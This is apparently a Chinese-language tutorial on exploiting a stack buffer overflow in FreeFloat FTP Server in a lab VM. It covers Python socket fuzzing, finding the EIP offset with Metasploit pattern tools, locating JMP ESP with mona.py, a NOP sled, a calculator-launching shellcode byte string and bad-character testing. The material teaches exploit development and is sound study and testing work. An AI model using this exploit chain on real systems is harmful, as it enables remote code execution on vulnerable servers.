Python程序設計-安全滲透測試-漏洞滲透模塊

測試軟件的溢出漏洞

  • FreeFloat FTP Server會在運行的主機上建立一個FTP,其他計算機上的用戶可以登錄到這個FTP上來存取文件
  • 例如,在主機192.168.0.116的C盤中運行這個FTP軟件,在另外一臺計算機中可以使用FTP下載工具或者命令的方式進行訪問。這裏採用命令的方式對其進行訪問,(使用 FreeFloat FTP Server這個服務器對登錄沒有任何的限制,輸入任意的用戶名和密碼都可以登錄進去)
    在這裏插入圖片描述
    在這裏插入圖片描述
  • 現在來看看這個工具是否存在 棧溢出漏洞。
  • 現在輸入用戶名的時候,嘗試使用一個特別長的字符串作爲用戶名,來看看在用戶名輸入的位置是否存在溢出的漏洞,例如輸入數百個“a”
    在這裏插入圖片描述
  • 但是系統並沒有崩潰,而是正常地出現了輸入密碼的界面!
  • 不要放棄,再嘗試輸入更多的“a”作爲用戶名
    在這裏插入圖片描述
  • 目標系統仍然正常出現了輸入密碼的界面
  • 可見系統沒有崩潰。那麼是不是這個軟件並沒有存在溢出的問題呢?
  • 打開WireShark來捕獲此次登錄的數據包來看一下
    在這裏插入圖片描述
  • 可以發現,實際上發送出去數據包中的字符“a”的數量並沒有那麼多
  • 無論在登錄用戶名時輸入多麼長的用戶名,而實際上發送出去的只有78個“a”。
  • 顯然這個長度的字符是無法引起溢出的,那麼有什麼辦法可以加大字符串的數量呢?
  • 最直接的方法就是自行構造數據包,然後將數據包發送出去。
  • 首先編寫一個可以自動連接到FreeFloat FTP Server的客戶端腳本,先來建立一個到FreeFloat FTP Server的連接。
  • 導入需要使用的socket庫import socket
  • 創建一個socket套接字:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  • 利用這個套接字就可以建立到目標的連接:connect=s.connect(('192.168.0.116',21))
    在這裏插入圖片描述
  • 執行之後,就建立好一個到目標主機21端口的連接,但是到FTP的連接需要認證,仍然需要向目標服務器提供一個用戶名和一個密碼。
  • 服務器通常會對用戶名和密碼的正確性進行驗證,也就是將用戶的輸入與自己保存的記錄進行比對。
  • 把FreeFloat FTP Server 用戶名的輸入作爲滲透測試的切入點,首先來檢查這個軟件是否存在棧溢出的現象,這個檢查很簡單,在輸入用戶名的時候,輸入成百上千的字符,同時觀察目標服務器的反應。
  • 首先觀察一下正常連接到目標服務器上數據包的格式。
    在這裏插入圖片描述
  • 圖中輸入的用戶名是一段字符,這段字符前面是“USER”,後面是一個回車符和換行符“\r\n”。
  • 使用socket套接字中的send()方法可以將一個字符串以數據包的形式發送出去,這裏面以成百上千的“A”作爲用戶名。
s.send('USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n')
  • 將這個數據包發送到目標FTP服務器上,可以看到這個FTP服務器工具崩潰了
    在這裏插入圖片描述

計算機軟件偏移地址

  • 這裏顯示軟件FreeFloat FTP Server執行到地址“41414141”處時就無法再繼續進行。
  • 出現這種情況的原因是 原本保存下一條地址的EIP寄存器中的地址被溢出的字符“A”所覆蓋。
  • “\x41”在ASCII表中表示的正是字符“A”,也就是說現在EIP寄存器中的內容就是“AAAA”,而操作系統無法在這個地址找到一條可以執行的命令,從而引發系統的崩潰。
    在這裏插入圖片描述
  • 每一次這個軟件執行時所分配的地址都是不同的。
  • 所以現在需要知道的不是EIP的絕對地址,而是EIP相對輸入數據起始位置的相對位移。
  • 如果這個位移的值不大,可以用逐步嘗試的方法獲取這個值。但是如果位移比較大,還需要使用到一些工具來提高效率。
  • 可以藉助 Metasploit 中內置的兩個工具pattern_create和pattern_offset來完成這個任務
  • pattern_create可以用來創建一段沒有重複字符的文本。
  • 將這段文本發送到目標服務器,當發生溢出時,記錄下程序發生錯誤的地址(也就是EIP中的內容),這個地址其實就是文本中的4個字符。
  • 利用pattern_offset快速找到這4個字符在文本中的偏移量,而這個偏移量就是EIP寄存器的地址。
  • 首先啓動Kali虛擬機,打開一個終端,然後切換到Metasploit的目錄:
root@kali:cd /usr/share/metasploit-framework/tools/exploit
  • 然後在這個目錄中執行工具pattern_create.rb,這是一個由Ruby語言編寫的腳本。瞭解這個工具的使用方法,可以使用參數-h來顯示所有可以使用的參數及其用法。
    在這裏插入圖片描述
  • 生成一段500個字符的文本,如圖所示。
    在這裏插入圖片描述
  • 然後使用這個pattern_create.rb產生的字符來代替那些“A”。仍然使用前面那段連接目標服務器的Python腳本將這個內容發送出去。
    在這裏插入圖片描述
root@karl:~/桌面# python test.py 

在這裏插入圖片描述

  • 可以看到這個FreeFloat FTP Server軟件再次崩潰
    在這裏插入圖片描述
    在這裏插入圖片描述
  • 提示信息中的地址“37684136”,然後使用pattern_offset來查找這個值對應的偏移量。
  • 執行工具 pattern_offset.rb
  • 同樣可以使用參數-h來查看參數幫助
    在這裏插入圖片描述
  • 使用參數-q 加上溢出的地址值,
  • 使用-l來指定字符串的長度(就是之前 pattern_create.rb 所使用的參數,也就是500)
    在這裏插入圖片描述
  • 現在向目標發送能夠導致系統溢出到EIP的數據,之前已經計算出EIP的偏移量是230,那麼現在提供了230個字符“A”即可,之後就是4個“B”
    在這裏插入圖片描述
  • 仍然重複之前的步驟,在虛擬機中打開FreeFloat FTP Server,然後執行上面的腳本,可以看到程序已經崩潰,如圖所示。顯示崩潰的地址是“42424242”,
  • 這說明EIP中的地址已經被更改爲字符“B”,這驗證了之前找到的偏移地址的正確性。
    在這裏插入圖片描述

查找JMP ESP指令

  • 如何讓目標服務器執行惡意的攻擊載荷?想一個辦法,讓這個EIP中的地址指向攻擊載荷
  • 先看一下輸入的用戶名數據在執行時是如何分佈的:
    在這裏插入圖片描述
  • 按照棧的設計,ESP寄存器應該就位於EIP寄存器的後面(中間可能有一些空隙)。
  • 使用大量字符來溢出棧的時候,也可以使用特定字符來覆蓋ESP,二來雖然無法對ESP寄存器進行定位,但是可以利用一條“JMP ESP”的跳轉指令來實現跳轉到當前ESP寄存器
    在這裏插入圖片描述
  • 這裏還需要使用到Immunity Debugger,但是這個工具本身並沒有提供查找“JMP ESP”命令的功能
  • 需要藉助Mona.py這個插件完成這個任務
  • Mona.py的使用方法也很簡單,只需要將下載好的這個插件(mona.py)複製到Immunity Debugger安裝目錄下的PyCommands文件夾中就可以使用了。然後在Immunity Debugger的命令行中輸入“!mona”命令
    在這裏插入圖片描述
  • 在命令行中執行“!mona jmp -r esp”來查找“JMP ESP”命令,執行的結果
    在這裏插入圖片描述
  • 這裏面選擇第一條指令來作爲跳轉指令,需要記錄下地址“77DBF049”

編寫滲透程序

  • 這裏其實就是在使用Python編程向目標發送“JMP ESP”指令的地址時使用的是大端格式,而當前的地址“77DBF049”其實是小端格式,兩者需要進行調整。
  • 如果希望使用“77DBF049”來覆蓋目標地址,在使用Python編寫滲透程序的時候就需要使用倒置的地址“/x49/xF0/xDB/x77”
  • 向目標發送能夠導致系統溢出到EIP的數據,之前已經計算出EIP的偏移量是230,現在提供了230個字符“A”即可,之後就是“/x49/xF0/xDB/x77”
    在這裏插入圖片描述
  • 重複之前的步驟,在虛擬機中打開FreeFloat FTP Server,然後執行上面的腳本
    在這裏插入圖片描述
  • 現在只需要把希望在目標計算機上執行的代碼添加進去即可。接下來編寫一段可以在目標計算機上啓動的計算器程序。
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca"
  • 這段腳本如果在目標計算機上執行,就會啓動計算器程序。下面將這段腳本添加到原來程序的buff中,修改之後的程序就變成如下。
    在這裏插入圖片描述
  • 執行這段腳本之後,目標系統的FreeFloat FTP Server崩潰了,但是卻沒有啓動計算器程序
  • 啓動Immunity Debugger來調試一下,可以看到這裏之前的命令都執行成功了,但是ESP的地址向後發生了偏移,這樣就導致了Shellcode的代碼並沒有全部載入到ESP中,
  • 最前面的一部分在ESP的外面,這樣就會導致即使控制了程序,但是由於ESP中只有一部分Shellcode,因此執行的時候缺失了一部分,從而導致程序不能夠正常執行。
  • 解決的方法就是一個特殊的指令“\x90”
  • \x90”其實就是NOPS,也就是空指令,這個指令不會執行任何的實際操作。
  • 但是它也是一條指令,因此會順序地向下執行,這樣即使並不知道ESP的真實地址,只需要多在EIP後面添加一些空指令,只要這些空指令夠多,將Shellcode偏移進ESP,就可以順利執行Shellcode。
  • 向程序中添加20個“\x90”
    在這裏插入圖片描述
  • 現在執行一下這段腳本,目標系統彈出一個計算器程序。這說明編寫的漏洞滲透程序已經成功。
    在這裏插入圖片描述

壞字符的確定

  • FTP對用戶名是有限制的,並非所有的字符都可以出現在用戶名中。如果內容中包含這種不被允許的字符,就可能導致FTP服務器拒絕接收後面的內容,從而導致代碼只傳送了一部分
  • 但是每個程序,甚至每個程序的入口接收的規則都不一樣,很難直接指出哪些是壞字符,但是可以使用逐個測試的方法找出這些字符。
  • 下面列出了所有可能的字符。
” \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f”
”\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f”
”\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f”
”\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f”
”\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
”\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
”\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
”\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

  • 之前編寫的那個用來連接服務器的程序也可以寫成如下格式:
    在這裏插入圖片描述
  • 先啓動Immunity Debugger,接下來將這個FreeFloat FTP Server的進程附加到Immunity Debugger中
  • 當運行這個程序的時候,FreeFloat FTP Server程序會崩潰,在Immunity Debugger中查看
  • 找到42424242所在的位置
    在這裏插入圖片描述
  • “BBBB”現在所在的位置就是EIP指針的位置,它後面的位置就是要放置壞字符的位置。接下來修改上面的那段程序,在“BBBB”的後面添加所有的字符,修改後的程序如下所示。
    在這裏插入圖片描述
  • 這段程序將會把所有的字符都發送到目標服務器中,但是壞字符串會 引起程序的終止
    在這裏插入圖片描述
  • 在這裏可以看到在“BBBB”後面的第一行的後面出現了“Password required”,這說明在“BBBB”後面的第一行裏出現了導致目標軟件認爲用戶名已經輸入結束的字符了
  • 這一行,一共是4個字符“\x00\x01\x02\x03”,首先將這裏面的“\x00”去掉,如果程序繼續向下執行,那麼說明這個字符是壞字符,還是這個程序,修改之後變爲:
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
  • 執行這個程序,查看一下結果
    在這裏插入圖片描述
  • 前面的8個字符沒有問題了,在第三行用戶名的輸入再次被終止了,那麼這說明現在的“\x01\x02\x03\x04\x05\x06\x07\x08\x09”已經沒有問題了,出問題的一定是“\x0a\x0b\x0c\x0d”中的一個。
  • 再將這4個字符一個一個地去掉後看一下。首先去掉“\x0a”,然後執行這個程序,使用Immunity Debugger查看裏面的變化,
    在這裏插入圖片描述
  • 壞字符剛好是“\x0a”
  • 這個程序中的壞字符是“\x00”“\x0a”“\x40”,那麼在編寫Shellcode的時候,就需要避免這三個壞字符。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章